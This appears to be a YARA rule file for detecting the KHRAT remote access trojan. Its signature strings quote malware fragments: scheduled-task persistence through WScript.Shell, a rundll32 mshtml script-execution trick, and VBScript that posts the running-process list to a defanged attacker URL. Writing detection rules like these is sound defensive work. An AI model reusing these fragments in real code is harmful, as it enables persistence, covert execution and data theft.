62 lines
3 KiB
Text
62 lines
3 KiB
Text
/*
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Yara Rule Set
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Author: Florian Roth
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Date: 2017-08-31
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Identifier: KHRAT RAT
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Reference: https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
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*/
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import "pe"
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/* Rule Set ----------------------------------------------------------------- */
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rule KHRAT_Malware {
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meta:
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description = "Detects an Imphash of KHRAT malware"
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license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
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author = "Florian Roth (Nextron Systems)"
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reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
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date = "2017-08-31"
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hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
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id = "3e6a5aca-9898-5864-8974-ca4adf272893"
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condition:
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uint16(0) == 0x5a4d and filesize < 100KB and pe.imphash() == "6a8478ad861f98f8428a042f74de1944"
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}
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rule MAL_KHRAT_script {
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meta:
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description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
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license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
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author = "Florian Roth (Nextron Systems)"
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reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
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date = "2017-08-31"
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hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
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id = "fd345647-4887-560e-a6b2-129a880026aa"
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strings:
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$x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
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$x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
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$x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii
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condition:
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1 of them
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}
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rule MAL_KHRAT_scritplet {
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meta:
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description = "Rule derived from KHRAT scriptlet"
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license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
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author = "Florian Roth (Nextron Systems)"
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reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
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date = "2017-08-31"
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hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
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id = "f72d68a3-0409-5401-b6a1-ca8f188d7409"
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strings:
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$x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
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$x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
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$s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
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$s2 = "Dim http,WMI,Objs,Process" fullword ascii
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$s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
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$s4 = "'WScript.Echo http.responseText " fullword ascii
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condition:
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uint16(0) == 0x3f3c and filesize < 1KB and ( 1 of ($x*) or 4 of them )
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}
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